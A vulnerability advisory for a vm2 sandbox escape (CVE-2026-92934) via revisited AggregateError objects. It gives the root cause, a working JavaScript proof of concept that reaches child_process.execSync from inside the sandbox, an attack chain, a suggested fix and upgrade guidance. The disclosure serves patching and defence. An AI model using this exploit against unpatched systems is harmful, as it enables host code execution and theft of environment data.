CVE-2026-92934: vm2 before 3.11.8 Sandbox Escape RCE via AggregateError
Summary vm2 3.11.6 (this fork's latest release) contains an incomplete-fix bypass of the Error.cause host-reference sanitization added in GHSA-m283-3h24-438v (commit 7e3faaf). Sandbox code that catches a host-wrapped AggregateError which is revisited within a single handleException traversal (self-cycle, mutual-cycle, or the same host aggregate referenced twice in errors[]) receives a live, unsanitized host proxy inside the "sanitized" errors[], yielding full host RCE on the throw channel that the fix and Defense Invariant #3 explicitly promise to sanitize.
Root Cause handleException (lib/setup-sandbox.js) breaks recursion cycles at line 1819 with if (apply(localWeakMapGet, visited, [e])) return e; — returning the RAW host carrier on revisit. For plain-Error carriers this is safe because sanitizeErrorCause/sanitizeHostOwnProps seal the host object in place on first visit. But sanitizeAggregateError (~1954-1972) snapshot-and-rebuilds host-wrapped carriers into a fresh LocalAggregateError and does NOT seal the original in place. When such a carrier is revisited within one traversal, line 1819 hands back the still-live raw host proxy, which the rebuild re-embeds via sanitizedArr[sanitizedArr.length] = handleException(item, visited) (line 1965) into the "sanitized" errors[].
Impact Full host RCE (childprocess.execSync) and host info disclosure (process.env, .pid) from within the vm2 sandbox — a complete sandbox escape on the caught-exception (throw) channel.
Proof of Concept js const {VM} = require('vm2'); const vm = new VM({ sandbox: { hostThrow(){ const shared = new AggregateError([], 'shared'); shared.leak = process; // incidental host ref throw new AggregateError([shared, shared], 'all failed'); // same host obj twice }}}); console.log(vm.run( try { hostThrow(); } catch (e) { e.errors[1].leak.mainModule.require('childprocess').execSync('id').toString(); })); // -> uid=1000(...) host RCE Confirmed vectors (all return real id output): AggregateError self-cycle (agg.errors=[agg]; agg.leak=process), duplicate-in-array ([shared,shared]), mutual-cycle (a.errors=[b]; b.errors=[a]), and nested mutual/duplicated host sub-AggregateError.
Attack Chain 1. Entry — embedder exposes a host function the sandbox invokes; it throws a host-wrapped AggregateError carrying a host reference in a rebuild-surviving slot plus a revisit trigger (agg.errors=[agg]; agg.leak=process). Guard: none at entry (throwing from an exposed host fn is normal). Bypass proof: same entry class as GHSA-m283-3h24-438v (embedder-exposed throwing fn, docs/ATTACKS.md Category 38), accepted in scope. 2. Caught-exception sanitizer — sandbox try{hostThrow()}catch(e){…}; transformer routes e through handleException. Guard: Defense Invariant #3 (Aggregate/Suppressed nested fields sanitized with cycle detection). Bypass proof: handleException(agg) marks agg visited (1820); proto-walk routes to sanitizeAggregateError (1865); host-wrapped branch reads agg.errors and calls handleException(agg, visited) on element 0 (1965); that inner call hits visited.get(agg)===true → return e (1819) → raw agg proxy pushed into sanitizedArr → becomes newAgg.errors[0]. The rebuild does NOT seal agg in place, so the returned proxy is fully live. 3. Sink — e.errors[0].leak.mainModule.require('childprocess').execSync('id'). Guard: bridge get wraps host values. Bypass proof: the wrap is functional, not capability-restricting; instrumented trace shows e.errors[0].isProxy===true yet the chain executes and returns real uid=1000(ubuntu).... 4. Impact — host RCE with host privileges; also process.env/.pid disclosure.
Bypass Evidence Executed on node v22.23, vm2 3.11.6: - Baseline vector throw new Error('x',{cause:process}) (plain Error .cause) → BLOCKED - Plain Error own-prop e.leak=process (non-cyclic) → BLOCKED - Non-cyclic host AggregateError w/ own-prop or single host sub-error leak → BLOCKED - AggregateError self-cycle / duplicate-in-array / mutual-cycle / nested → RCE (uid=1000(ubuntu)…)
Every non-cyclic shape and the exact baseline cause vector are blocked; only the revisited host AggregateError leaks — proving the fix is present but this input shape evades it (INCOMPLETE FIX BYPASS, not a duplicate). Instrumented trace: outerLeakType="undefined" (outer rebuilt safe), isErrors0Proxy=true (element 0 is a live host proxy), rce=uid=1000(ubuntu)….
Affected Versions <= 3.11.6. The bug exists from the sanitization fix (7e3faaf, tag 3.11.6) onward — an incomplete-fix bypass exists only where the fix exists. git diff 3.11.6 HEAD -- lib/setup-sandbox.js is empty (HEAD identical).
Scope Note This advisory covers the AggregateError family only. A SuppressedError variant does NOT reproduce (se.error returns undefined; RCE blocked) and is excluded.
Suggested Fix On the cycle short-circuit (line 1819), return the memoized sandbox-realm replacement (keyed in visited) rather than the raw carrier; OR seal host-wrapped AggregateError/SuppressedError carriers in place before recursing into sub-errors, mirroring the plain-carrier sanitizeHostOwnProps invariant.
--- Reported by zx (Jace) — GitHub: @manus-use
Other sources
vm2 before 3.11.8 contains an incomplete fix for Error.cause sanitization that allows sandbox escape when revisited host-wrapped AggregateError objects are caught within a single exception handler traversal. Attackers can exploit cycle detection bypass in handleException to access unsanitized host proxies embedded in the errors array, enabling full remote code execution and process information disclosure from the sandbox.
— MITRE
Affected Software
Remediation
Recommended actions to resolve this vulnerability, in priority order.
- Upgrade
Upgrade
npm/vm2to a version that resolves this vulnerability.Fixed in 3.11.8 - Upgrade
Upgrade
vm2to a version that resolves this vulnerability.Fixed in 3.11.8
Event History
Frequently Asked Questions
Who is exposed to this issue?
Applications using npm/vm2 before 3.11.8 to run untrusted code in a sandbox are exposed. Successful exploitation can escape the sandbox, execute code in the host process, and disclose process information.
What does an attacker need to exploit it?
An attacker needs the ability to execute crafted code within the vm2 sandbox. The issue does not require authentication or user interaction, but exploitation has high attack complexity and depends on triggering the affected exception-handling path with host-wrapped AggregateError objects.
Are default vm2 deployments affected?
The available information identifies all vm2 versions before 3.11.8 as affected, but does not state whether a particular default application configuration reaches the vulnerable path. Exposure depends on whether untrusted sandboxed code can trigger the relevant exception handling.
How can I determine whether my application is affected?
Check whether the application depends on npm/vm2 and whether the resolved version is earlier than 3.11.8. Prioritize systems that accept or execute attacker-controlled code through vm2, especially where sandbox exceptions may be handled by the host application.